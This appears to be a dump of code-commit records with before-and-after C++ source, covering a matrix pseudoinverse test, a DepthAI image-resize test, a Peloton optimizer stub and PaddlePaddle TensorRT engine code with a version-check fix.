0.9157, 0.7922, 0.9595, \n\t\t\t0.6557, 0.0357, 0.8491, 0.9340};\n\t\tinput.set( data, data + 24);\n\t\tmatrix< 6, 4, float > pseudoinverse_transposed_control;\n\t\tdouble data2[] = { 0.1880, 0.1967, -0.4289, 0.1703, \n\t\t\t0.5039, -0.5719, -0.2487, 0.2746, \n\t\t\t0.3297, 0.1597, -0.4866, 0.1270, \n\t\t\t0.6085, 0.2728, 0.5149, -0.9327, \n\t\t\t-0.9104, 0.6751, 0.6790, 0.1391, \n\t\t\t0.0213, -0.7584, 0.2949, 0.6102 };\n\t\tpseudoinverse_transposed_control.set( data2, data2 + 24);\n\t\t\n\t\tmatrix< 6, 4, float > pseudoinverse_transposed;\n compute_pinv( input, pseudoinverse_transposed );\n\n\n matrix< 4, 6, float > pseudoinverse = transpose( pseudoinverse_transposed );\n matrix< 6, 6, float > control;\n control.multiply( input, pseudoinverse);\n\t\t\n\t\tif ( pseudoinverse_transposed_control.equals( pseudoinverse_transposed, 0.1 ))\n\t\t{\t\n\t\t\tlog( \"matrix compute pseudo inverse \", true );\n\t\t} else\n\t\t{\n\t\t\tstd::stringstream error;\n\t\t\terror \n\t\t\t<< \"matrix compute pseudo inverse: \" << std::endl\n\t\t\t<< \"inverse matrix (transposed) should be: \" << std::endl << pseudoinverse_transposed_control << std::endl\n\t\t\t<< \"inverse matrix (transposed) is: \" << std::endl << pseudoinverse_transposed << std::endl\n\t\t\t<< \"identiy matrix (control) is: \" << std::endl << control << std::endl;\n\t\t\t\n\t\t\tlog_error( error.str() );\n\t\t}\n\t\t\n\t\t\n\t\tok = true;\n\t\treturn ok;\n\t}\n\n\t\n} \/\/ namespace vmml<|endoftext|>"} {"text":"<commit_before>#include <chrono>\n#include \"depthai\/depthai.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TEST\n\/\/ ImageManipNode test\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main(){\n\n using namespace std;\n using namespace std::chrono;\n using namespace std::chrono_literals;\n \n \/\/ Create pipeline\n dai::Pipeline p;\n\n auto xin = p.create<dai::node::XLinkIn>();\n auto imageManip = p.create<dai::node::ImageManip>();\n auto xout = p.create<dai::node::XLinkOut>();\n \n \/\/ resize\n const int originalWidth = 640, originalHeight = 360;\n const int width = 337, height = 225;\n \n \/\/ Properties\n xin->setStreamName(\"in\");\n xout->setStreamName(\"out\");\n imageManip->setResize(width, height);\n\n \/\/ Link plugins CAM -> XLINK\n xin->out.link(imageManip->inputImage);\n imageManip->out.link(xout->input);\n\n\n \/\/ Wait 5 seconds for device\n auto wait = steady_clock::now();\n bool found;\n dai::DeviceInfo deviceInfo;\n\n do{\n std::tie(found, deviceInfo) = dai::Device::getFirstAvailableDevice();\n \n if(found) {\n dai::Device d(p, deviceInfo);\n d.startPipeline();\n\n auto in = d.getInputQueue(\"in\");\n auto out = d.getOutputQueue(\"out\");\n\n \/\/ Send 10 messages\n for(int i = 0; i < 10; i++){\n \/\/ Create 'rgb interleaved' frame\n dai::ImgFrame inFrame;\n inFrame.getData().resize(originalWidth * originalHeight * 3);\n inFrame.setWidth(originalWidth);\n inFrame.setHeight(originalHeight);\n inFrame.setType(dai::RawImgFrame::Type::RGB888i);\n \n \/\/ Send the frame\n in->send(inFrame);\n\n \/\/ Retrieve the resized frame\n auto outFrame = out->get<dai::ImgFrame>();\n\n \/\/ Check that out frame is resized\n if(outFrame->getWidth() != width || outFrame->getHeight() != height){\n return -1;\n }\n }\n\n \/\/ Exit with success error code\n return 0;\n }\n\n this_thread::sleep_for(1s);\n } while(!found && steady_clock::now() - wait < 5s );\n\n \/\/ Otherwise exit with error \n return -1;\n}<commit_msg>Fixed ImageManip test<commit_after>#include <chrono>\n#include \"depthai\/depthai.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TEST\n\/\/ ImageManipNode test\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main(){\n\n using namespace std;\n using namespace std::chrono;\n using namespace std::chrono_literals;\n \n \/\/ Create pipeline\n dai::Pipeline p;\n\n auto xin = p.create<dai::node::XLinkIn>();\n auto imageManip = p.create<dai::node::ImageManip>();\n auto xout = p.create<dai::node::XLinkOut>();\n \n \/\/ resize\n const int originalWidth = 640, originalHeight = 360;\n const int width = 337, height = 225;\n \n \/\/ Properties\n xin->setStreamName(\"in\");\n xout->setStreamName(\"out\");\n imageManip->setResize(width, height);\n\n \/\/ Link plugins CAM -> XLINK\n xin->out.link(imageManip->inputImage);\n imageManip->out.link(xout->input);\n\n\n \/\/ Wait 5 seconds for device\n auto wait = steady_clock::now();\n bool found;\n dai::DeviceInfo deviceInfo;\n\n do{\n std::tie(found, deviceInfo) = dai::Device::getFirstAvailableDevice();\n \n if(found) {\n dai::Device d(p, deviceInfo);\n d.startPipeline();\n\n auto in = d.getInputQueue(\"in\");\n auto out = d.getOutputQueue(\"out\");\n\n \/\/ Send 10 messages\n for(int i = 0; i < 10; i++){\n \/\/ Create 'rgb interleaved' frame\n dai::ImgFrame inFrame;\n inFrame.getData().resize(originalWidth * originalHeight * 3);\n inFrame.setWidth(originalWidth);\n inFrame.setHeight(originalHeight);\n inFrame.setType(dai::RawImgFrame::Type::RGB888p);\n \n \/\/ Send the frame\n in->send(inFrame);\n\n \/\/ Retrieve the resized frame\n auto outFrame = out->get<dai::ImgFrame>();\n\n \/\/ Check that out frame is resized\n if(outFrame->getWidth() != width || outFrame->getHeight() != height){\n return -1;\n }\n }\n\n \/\/ Exit with success error code\n return 0;\n }\n\n this_thread::sleep_for(1s);\n } while(!found && steady_clock::now() - wait < 5s );\n\n \/\/ Otherwise exit with error \n return -1;\n}<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n\n#include \"common\/logger.h\"\n\nnamespace peloton {\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n if (parse_tree.get() == nullptr)\n return NULL;\n std::shared_ptr<planner::AbstractPlan> plan_tree;\n\n std::unique_ptr<planner::AbstractPlan> child_plan;\n\n \/\/ TODO: Transform the parse tree\n\n \/\/ One to one Mapping\n auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n\n switch(parse_item_node_type){\n case PARSE_NODE_TYPE_SCAN:\n child_plan = new planner::SeqScanPlan();\n break;\n }\n\n\/\/ if (child_plan != nullptr) {\n\/\/ if (plan_tree != nullptr)\n\/\/ plan_tree->AddChild(child_plan);\n\/\/ else\n\/\/ plan_tree = child_plan;\n\/\/ }\n return plan_tree;\n}\n\n} \/\/ namespace optimizer\n} \/\/ namespace peloton\n<commit_msg>Added parser header to SimpleOptimizer<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n#include \"parser\/peloton\/abstract_parse.h\"\n\n#include \"common\/logger.h\"\n\nnamespace peloton {\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n if (parse_tree.get() == nullptr)\n return NULL;\n std::shared_ptr<planner::AbstractPlan> plan_tree;\n\n std::unique_ptr<planner::AbstractPlan> child_plan;\n\n \/\/ TODO: Transform the parse tree\n\n \/\/ One to one Mapping\n auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n\n switch(parse_item_node_type){\n case PARSE_NODE_TYPE_SCAN:\n child_plan = new planner::SeqScanPlan();\n break;\n }\n\n\/\/ if (child_plan != nullptr) {\n\/\/ if (plan_tree != nullptr)\n\/\/ plan_tree->AddChild(child_plan);\n\/\/ else\n\/\/ plan_tree = child_plan;\n\/\/ }\n return plan_tree;\n}\n\n} \/\/ namespace optimizer\n} \/\/ namespace peloton\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use\nthis file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/inference\/tensorrt\/engine.h\"\n\n#include <NvInfer.h>\n#include <cuda.h>\n#include <glog\/logging.h>\n#include <string>\n#include \"paddle\/fluid\/inference\/analysis\/helper.h\"\n#include \"paddle\/fluid\/inference\/tensorrt\/helper.h\"\n#include \"paddle\/fluid\/platform\/enforce.h\"\n\nnamespace paddle {\nnamespace inference {\nnamespace tensorrt {\n\nint TensorRTEngine::runtime_batch_ = 1;\n\nvoid TensorRTEngine::InitNetwork() {\n freshDeviceId();\n infer_builder_.reset(createInferBuilder(&logger_));\n\n if (with_dynamic_shape_) {\n#if IS_TRT_VERSION_GE(6000)\n infer_networkv2_.reset(infer_builder_->createNetworkV2(\n 1U << static_cast<int>(\n nvinfer1::NetworkDefinitionCreationFlag::kEXPLICIT_BATCH)));\n infer_builder_config_.reset(infer_builder_->createBuilderConfig());\n infer_ptr<nvinfer1::IBuilderConfig> infer_builder_config_;\n optim_profile_ = infer_builder_->createOptimizationProfile();\n#endif\n } else {\n infer_network_.reset(infer_builder_->createNetwork());\n }\n}\n\nvoid TensorRTEngine::Execute(int batch_size, std::vector<void *> *buffers,\n cudaStream_t stream) {\n freshDeviceId();\n auto infer_context = context();\n if (!with_dynamic_shape()) {\n infer_context->enqueue(batch_size, buffers->data(), stream, nullptr);\n } else {\n#if IS_TRT_VERSION_GE(6000)\n infer_context->enqueueV2(buffers->data(), stream, nullptr);\n#endif\n }\n SetRuntimeBatch(batch_size);\n}\n\nvoid TensorRTEngine::FreezeNetwork() {\n freshDeviceId();\n VLOG(3) << \"TRT to freeze network\";\n PADDLE_ENFORCE(infer_builder_ != nullptr,\n \"Call InitNetwork first to initialize network.\");\n PADDLE_ENFORCE_EQ(network() != nullptr, true,\n platform::errors::InvalidArgument(\n \"Call InitNetwork first to initialize network.\"));\n \/\/ build engine.\n infer_builder_->setMaxBatchSize(max_batch_);\n infer_builder_->setMaxWorkspaceSize(max_workspace_);\n bool enable_fp16 = (precision_ == AnalysisConfig::Precision::kHalf);\n#if IS_TRT_VERSION_GE(5000)\n if (enable_fp16) {\n bool support_fp16 = infer_builder_->platformHasFastFp16();\n infer_builder_->setFp16Mode(support_fp16);\n if (!support_fp16) {\n LOG(INFO) << \"You specify FP16 mode, but the hardware do not support \"\n \"FP16 speed up, use FP32 instead.\";\n } else {\n LOG(INFO) << \"Run Paddle-TRT FP16 mode\";\n }\n }\n#else\n if (enable_fp16)\n LOG(INFO) << \"Using FP16 in Paddle-TRT must ensure that the version of TRT \"\n \"is at least 5.\"\n \"So, use FP32 to run.\";\n#endif\n bool enable_int8 = (precision_ == AnalysisConfig::Precision::kInt8);\n\n if (enable_int8) {\n infer_builder_->setInt8Mode(true);\n if (calibrator_) {\n infer_builder_->setInt8Calibrator(calibrator_);\n } else {\n infer_builder_->setInt8Calibrator(nullptr);\n\n#if IS_TRT_VERSION_GE(5000)\n infer_builder_->setStrictTypeConstraints(true);\n for (auto &quant_range : quant_dynamic_range_) {\n auto tensor = quant_range.first;\n float range = quant_range.second;\n tensor->setDynamicRange(-range, range);\n }\n\n std::unordered_set<nvinfer1::ITensor *> all_t;\n for (int i = 0; i < network()->getNbLayers(); i++) {\n auto layer = network()->getLayer(i);\n for (int j = 0; j < layer->getNbOutputs(); j++) {\n all_t.insert(layer->getOutput(j));\n }\n }\n for (int i = 0; i < network()->getNbInputs(); i++) {\n all_t.insert(network()->getInput(i));\n }\n\n for (auto &t : all_t) {\n if (!quant_dynamic_range_.count(t)) {\n VLOG(3) << \"We are in trt int8 mode(not calibration), scale not set\"\n << \" for tensor \" << t->getName()\n << \", this might be ok when trt does not need this range\";\n }\n }\n auto is_layer_int8 = [&](nvinfer1::ILayer *layer) -> bool {\n for (int j = 0; j < layer->getNbInputs(); j++) {\n auto *temp_in = layer->getInput(j);\n if (!temp_in->dynamicRangeIsSet()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its input(\"\n << temp_in->getName() << \") doesn't have dynamic range.\";\n return false;\n }\n }\n for (int j = 0; j < layer->getNbOutputs(); j++) {\n auto *temp_out = layer->getOutput(j);\n if (temp_out->isNetworkOutput()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its output(\"\n << temp_out->getName() << \") is the output of the network.\";\n return false;\n }\n if (!temp_out->dynamicRangeIsSet()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its output(\"\n << temp_out->getName() << \") doesn't have dynamic range.\";\n return false;\n }\n }\n return true;\n };\n \/\/ If a layer's output is the network's output, or not all of its inputs\n \/\/ and outputs have scales,\n \/\/ this layer's precision and output type are set to float32.\n \/\/ This step has no effect if this layer is fused during TRT optimization.\n for (int i = 0; i < network()->getNbLayers(); i++) {\n auto layer = network()->getLayer(i);\n if (!is_layer_int8(layer)) {\n layer->setPrecision(nvinfer1::DataType::kFLOAT);\n }\n }\n#endif\n }\n }\n\n if (with_dynamic_shape_) {\n#if IS_TRT_VERSION_GE(6000)\n LOG(INFO) << \"Run Paddle-TRT Dynamic Shape mode.\";\n for (auto &input : min_input_shape_) {\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kMIN,\n Vec2TRT_Dims(input.second, input.first, true));\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kMAX,\n Vec2TRT_Dims(max_input_shape_[input.first], input.first, true));\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kOPT,\n Vec2TRT_Dims(optim_input_shape_[input.first], input.first, true));\n }\n infer_builder_config_->addOptimizationProfile(optim_profile_);\n if (WithFp16()) {\n infer_builder_config_->setFlag(nvinfer1::BuilderFlag::kFP16);\n if (disable_trt_plugin_fp16()) {\n LOG(INFO) << \"NOTE: In order to achieve higher accuracy, you have \"\n \"disabled the fp16 mode of TRT Plugin,\\n\"\n << \"you can reopen it with \"\n \"'config.SetDynamicShapeInfo(min_shape, max_shape, \"\n \"opt_shape, false \/*disable_trt_plugin_fp16*\/)'\";\n }\n }\n infer_engine_.reset(infer_builder_->buildEngineWithConfig(\n *network(), *infer_builder_config_));\n#endif\n } else {\n infer_engine_.reset(infer_builder_->buildCudaEngine(*network()));\n }\n PADDLE_ENFORCE(infer_engine_ != nullptr, \"build cuda engine failed!\");\n}\n\nnvinfer1::ITensor *TensorRTEngine::DeclareInput(const std::string &name,\n nvinfer1::DataType dtype,\n const nvinfer1::Dims &dims) {\n PADDLE_ENFORCE_EQ(network() != nullptr, true,\n platform::errors::InvalidArgument(\n \"The TRT network should be initialized first.\"));\n auto *input = network()->addInput(name.c_str(), dtype, dims);\n PADDLE_ENFORCE(input, \"infer network add input %s failed\", name);\n PADDLE_ENFORCE(input->isNetworkInput());\n TensorRTEngine::SetITensor(name, input);\n return input;\n}\n\nvoid TensorRTEngine::DeclareOutput(const nvinfer1::ILayer *layer, int offset,\n const std::string &name) {\n auto *output = layer->getOutput(offset);\n SetITensor(name, output);\n PADDLE_ENFORCE(output != nullptr);\n output->setName(name.c_str());\n PADDLE_ENFORCE(!output->isNetworkInput());\n network()->markOutput(*output);\n PADDLE_ENFORCE(output->isNetworkOutput());\n}\n\nvoid TensorRTEngine::DeclareOutput(const std::string &name) {\n auto *output = TensorRTEngine::GetITensor(name);\n PADDLE_ENFORCE(output != nullptr);\n output->setName(name.c_str());\n PADDLE_ENFORCE(!output->isNetworkInput());\n network()->markOutput(*output);\n}\n\nvoid TensorRTEngine::SetITensor(const std::string &name,\n nvinfer1::ITensor *tensor) {\n PADDLE_ENFORCE(tensor != nullptr);\n PADDLE_ENFORCE_EQ(0, itensor_map_.count(name), \"duplicate ITensor name %s\",\n name);\n itensor_map_[name] = tensor;\n}\n\nnvinfer1::ITensor *TensorRTEngine::GetITensor(const std::string &name) {\n PADDLE_ENFORCE(itensor_map_.count(name), \"no ITensor %s\", name);\n return itensor_map_[name];\n}\n\nvoid TensorRTEngine::SetRuntimeBatch(size_t batch_size) {\n runtime_batch_ = batch_size;\n}\n\nfloat *TensorRTEngine::GetWeightCPUData(const std::string &name,\n framework::Tensor *weight_tensor,\n bool enable_int8,\n const std::vector<float> &scale) {\n static int name_suffix_counter = 0;\n std::string name_suffix = std::to_string(name_suffix_counter);\n std::string splitter = \"__\";\n std::string name_with_suffix = name + splitter + name_suffix;\n platform::CPUPlace cpu_place;\n PADDLE_ENFORCE_EQ(\n weight_map.count(name_with_suffix), 0,\n \"During TRT Op converter: We set weight %s with the same name \"\n \"twice into the weight_map\",\n name_with_suffix);\n weight_map[name_with_suffix].reset(new framework::Tensor());\n weight_map[name_with_suffix]->Resize(weight_tensor->dims());\n TensorCopySync(*weight_tensor, cpu_place, weight_map[name_with_suffix].get());\n float *weight_data =\n weight_map[name_with_suffix]->mutable_data<float>(cpu_place);\n name_suffix_counter += 1;\n return weight_data;\n}\n\nint TensorRTEngine::GetRuntimeBatch() { return runtime_batch_; }\n\nnvinfer1::IPluginLayer *TensorRTEngine::AddPlugin(\n nvinfer1::ITensor *const *inputs, int num_inputs,\n plugin::PluginTensorRT *plugin) {\n owned_plugin_.emplace_back(plugin);\n return network()->addPluginExt(inputs, num_inputs, *plugin);\n}\n\nvoid TensorRTEngine::freshDeviceId() {\n int count;\n cudaGetDeviceCount(&count);\n PADDLE_ENFORCE_LT(device_id_, count);\n cudaSetDevice(device_id_);\n}\n\n} \/\/ namespace tensorrt\n} \/\/ namespace inference\n} \/\/ namespace paddle\n<commit_msg>add macro check for using TRT api dynamicRangeIsSet() (#25694)<commit_after>\/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use\nthis file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/inference\/tensorrt\/engine.h\"\n\n#include <NvInfer.h>\n#include <cuda.h>\n#include <glog\/logging.h>\n#include <string>\n#include \"paddle\/fluid\/inference\/analysis\/helper.h\"\n#include \"paddle\/fluid\/inference\/tensorrt\/helper.h\"\n#include \"paddle\/fluid\/platform\/enforce.h\"\n\nnamespace paddle {\nnamespace inference {\nnamespace tensorrt {\n\nint TensorRTEngine::runtime_batch_ = 1;\n\nvoid TensorRTEngine::InitNetwork() {\n freshDeviceId();\n infer_builder_.reset(createInferBuilder(&logger_));\n\n if (with_dynamic_shape_) {\n#if IS_TRT_VERSION_GE(6000)\n infer_networkv2_.reset(infer_builder_->createNetworkV2(\n 1U << static_cast<int>(\n nvinfer1::NetworkDefinitionCreationFlag::kEXPLICIT_BATCH)));\n infer_builder_config_.reset(infer_builder_->createBuilderConfig());\n infer_ptr<nvinfer1::IBuilderConfig> infer_builder_config_;\n optim_profile_ = infer_builder_->createOptimizationProfile();\n#endif\n } else {\n infer_network_.reset(infer_builder_->createNetwork());\n }\n}\n\nvoid TensorRTEngine::Execute(int batch_size, std::vector<void *> *buffers,\n cudaStream_t stream) {\n freshDeviceId();\n auto infer_context = context();\n if (!with_dynamic_shape()) {\n infer_context->enqueue(batch_size, buffers->data(), stream, nullptr);\n } else {\n#if IS_TRT_VERSION_GE(6000)\n infer_context->enqueueV2(buffers->data(), stream, nullptr);\n#endif\n }\n SetRuntimeBatch(batch_size);\n}\n\nvoid TensorRTEngine::FreezeNetwork() {\n freshDeviceId();\n VLOG(3) << \"TRT to freeze network\";\n PADDLE_ENFORCE(infer_builder_ != nullptr,\n \"Call InitNetwork first to initialize network.\");\n PADDLE_ENFORCE_EQ(network() != nullptr, true,\n platform::errors::InvalidArgument(\n \"Call InitNetwork first to initialize network.\"));\n \/\/ build engine.\n infer_builder_->setMaxBatchSize(max_batch_);\n infer_builder_->setMaxWorkspaceSize(max_workspace_);\n bool enable_fp16 = (precision_ == AnalysisConfig::Precision::kHalf);\n#if IS_TRT_VERSION_GE(5000)\n if (enable_fp16) {\n bool support_fp16 = infer_builder_->platformHasFastFp16();\n infer_builder_->setFp16Mode(support_fp16);\n if (!support_fp16) {\n LOG(INFO) << \"You specify FP16 mode, but the hardware do not support \"\n \"FP16 speed up, use FP32 instead.\";\n } else {\n LOG(INFO) << \"Run Paddle-TRT FP16 mode\";\n }\n }\n#else\n if (enable_fp16)\n LOG(INFO) << \"Using FP16 in Paddle-TRT must ensure that the version of TRT \"\n \"is at least 5.\"\n \"So, use FP32 to run.\";\n#endif\n bool enable_int8 = (precision_ == AnalysisConfig::Precision::kInt8);\n\n if (enable_int8) {\n infer_builder_->setInt8Mode(true);\n if (calibrator_) {\n infer_builder_->setInt8Calibrator(calibrator_);\n } else {\n infer_builder_->setInt8Calibrator(nullptr);\n\n#if IS_TRT_VERSION_GE(5000)\n infer_builder_->setStrictTypeConstraints(true);\n for (auto &quant_range : quant_dynamic_range_) {\n auto tensor = quant_range.first;\n float range = quant_range.second;\n tensor->setDynamicRange(-range, range);\n }\n\n std::unordered_set<nvinfer1::ITensor *> all_t;\n for (int i = 0; i < network()->getNbLayers(); i++) {\n auto layer = network()->getLayer(i);\n for (int j = 0; j < layer->getNbOutputs(); j++) {\n all_t.insert(layer->getOutput(j));\n }\n }\n for (int i = 0; i < network()->getNbInputs(); i++) {\n all_t.insert(network()->getInput(i));\n }\n\n for (auto &t : all_t) {\n if (!quant_dynamic_range_.count(t)) {\n VLOG(3) << \"We are in trt int8 mode(not calibration), scale not set\"\n << \" for tensor \" << t->getName()\n << \", this might be ok when trt does not need this range\";\n }\n }\n#if IS_TRT_VERSION_GE(5122)\n auto is_layer_int8 = [&](nvinfer1::ILayer *layer) -> bool {\n for (int j = 0; j < layer->getNbInputs(); j++) {\n auto *temp_in = layer->getInput(j);\n if (!temp_in->dynamicRangeIsSet()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its input(\"\n << temp_in->getName() << \") doesn't have dynamic range.\";\n return false;\n }\n }\n for (int j = 0; j < layer->getNbOutputs(); j++) {\n auto *temp_out = layer->getOutput(j);\n if (temp_out->isNetworkOutput()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its output(\"\n << temp_out->getName() << \") is the output of the network.\";\n return false;\n }\n if (!temp_out->dynamicRangeIsSet()) {\n VLOG(1) << \"Layer(Name: \" << layer->getName()\n << \") is set to float32 because its output(\"\n << temp_out->getName() << \") doesn't have dynamic range.\";\n return false;\n }\n }\n return true;\n };\n \/\/ If a layer's output is the network's output, or not all of its inputs\n \/\/ and outputs have scales,\n \/\/ this layer's precision and output type are set to float32.\n \/\/ This step has no effect if this layer is fused during TRT optimization.\n for (int i = 0; i < network()->getNbLayers(); i++) {\n auto layer = network()->getLayer(i);\n if (!is_layer_int8(layer)) {\n layer->setPrecision(nvinfer1::DataType::kFLOAT);\n }\n }\n#else\n LOG(WARNING) << \"If your TensorRT version is lower than 5.1.2.2, you \"\n \"must provide quantization scales for all tensors using \"\n \"TRT to run.\";\n#endif\n#endif\n }\n }\n\n if (with_dynamic_shape_) {\n#if IS_TRT_VERSION_GE(6000)\n LOG(INFO) << \"Run Paddle-TRT Dynamic Shape mode.\";\n for (auto &input : min_input_shape_) {\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kMIN,\n Vec2TRT_Dims(input.second, input.first, true));\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kMAX,\n Vec2TRT_Dims(max_input_shape_[input.first], input.first, true));\n optim_profile_->setDimensions(\n input.first.c_str(), nvinfer1::OptProfileSelector::kOPT,\n Vec2TRT_Dims(optim_input_shape_[input.first], input.first, true));\n }\n infer_builder_config_->addOptimizationProfile(optim_profile_);\n if (WithFp16()) {\n infer_builder_config_->setFlag(nvinfer1::BuilderFlag::kFP16);\n if (disable_trt_plugin_fp16()) {\n LOG(INFO) << \"NOTE: In order to achieve higher accuracy, you have \"\n \"disabled the fp16 mode of TRT Plugin,\\n\"\n << \"you can reopen it with \"\n \"'config.SetDynamicShapeInfo(min_shape, max_shape, \"\n \"opt_shape, false \/*disable_trt_plugin_fp16*\/)'\";\n }\n }\n infer_engine_.reset(infer_builder_->buildEngineWithConfig(\n *network(), *infer_builder_config_));\n#endif\n } else {\n infer_engine_.reset(infer_builder_->buildCudaEngine(*network()));\n }\n PADDLE_ENFORCE(infer_engine_ != nullptr, \"build cuda engine failed!\");\n}\n\nnvinfer1::ITensor *TensorRTEngine::DeclareInput(const std::string &name,\n nvinfer1::DataType dtype,\n const nvinfer1::Dims &dims) {\n PADDLE_ENFORCE_EQ(network() != nullptr, true,\n platform::errors::InvalidArgument(\n \"The TRT network should be initialized first.\"));\n auto *input = network()->addInput(name.c_str(), dtype, dims);\n PADDLE_ENFORCE(input, \"infer network add input %s failed\", name);\n PADDLE_ENFORCE(input->isNetworkInput());\n TensorRTEngine::SetITensor(name, input);\n return input;\n}\n\nvoid TensorRTEngine::DeclareOutput(const nvinfer1::ILayer *layer, int offset,\n const std::string &name) {\n auto *output = layer->getOutput(offset);\n SetITensor(name, output);\n PADDLE_ENFORCE(output != nullptr);\n output->setName(name.c_str());\n PADDLE_ENFORCE(!output->isNetworkInput());\n network()->markOutput(*output);\n PADDLE_ENFORCE(output->isNetworkOutput());\n}\n\nvoid TensorRTEngine::DeclareOutput(const std::string &name) {\n auto *output = TensorRTEngine::GetITensor(name);\n PADDLE_ENFORCE(output != nullptr);\n output->setName(name.c_str());\n PADDLE_ENFORCE(!output->isNetworkInput());\n network()->markOutput(*output);\n}\n\nvoid TensorRTEngine::SetITensor(const std::string &name,\n nvinfer1::ITensor *tensor) {\n PADDLE_ENFORCE(tensor != nullptr);\n PADDLE_ENFORCE_EQ(0, itensor_map_.count(name), \"duplicate ITensor name %s\",\n name);\n itensor_map_[name] = tensor;\n}\n\nnvinfer1::ITensor *TensorRTEngine::GetITensor(const std::string &name) {\n PADDLE_ENFORCE(itensor_map_.count(name), \"no ITensor %s\", name);\n return itensor_map_[name];\n}\n\nvoid TensorRTEngine::SetRuntimeBatch(size_t batch_size) {\n runtime_batch_ = batch_size;\n}\n\nfloat *TensorRTEngine::GetWeightCPUData(const std::string &name,\n framework::Tensor *weight_tensor,\n bool enable_int8,\n const std::vector<float> &scale) {\n static int name_suffix_counter = 0;\n std::string name_suffix = std::to_string(name_suffix_counter);\n std::string splitter = \"__\";\n std::string name_with_suffix = name + splitter + name_suffix;\n platform::CPUPlace cpu_place;\n PADDLE_ENFORCE_EQ(\n weight_map.count(name_with_suffix), 0,\n \"During TRT Op converter: We set weight %s with the same name \"\n \"twice into the weight_map\",\n name_with_suffix);\n weight_map[name_with_suffix].reset(new framework::Tensor());\n weight_map[name_with_suffix]->Resize(weight_tensor->dims());\n TensorCopySync(*weight_tensor, cpu_place, weight_map[name_with_suffix].get());\n float *weight_data =\n weight_map[name_with_suffix]->mutable_data<float>(cpu_place);\n name_suffix_counter += 1;\n return weight_data;\n}\n\nint TensorRTEngine::GetRuntimeBatch() { return runtime_batch_; }\n\nnvinfer1::IPluginLayer *TensorRTEngine::AddPlugin(\n nvinfer1::ITensor *const *inputs, int num_inputs,\n plugin::PluginTensorRT *plugin) {\n owned_plugin_.emplace_back(plugin);\n return network()->addPluginExt(inputs, num_inputs, *plugin);\n}\n\nvoid TensorRTEngine::freshDeviceId() {\n int count;\n cudaGetDeviceCount(&count);\n PADDLE_ENFORCE_LT(device_id_, count);\n cudaSetDevice(device_id_);\n}\n\n} \/\/ namespace tensorrt\n} \/\/ namespace inference\n} \/\/ namespace paddle\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/..\/SDP.hxx\"\n#include \"..\/..\/..\/..\/Timers.hxx\"\n\nEl::BigFloat dot(const Block_Vector &a, const Block_Vector &b);\n\nvoid compute_objectives(const SDP &sdp, const Block_Vector &x,\n const Block_Vector &y, El::BigFloat &primal_objective,\n El::BigFloat &dual_objective,\n El::BigFloat &duality_gap, Timers &timers)\n{\n auto 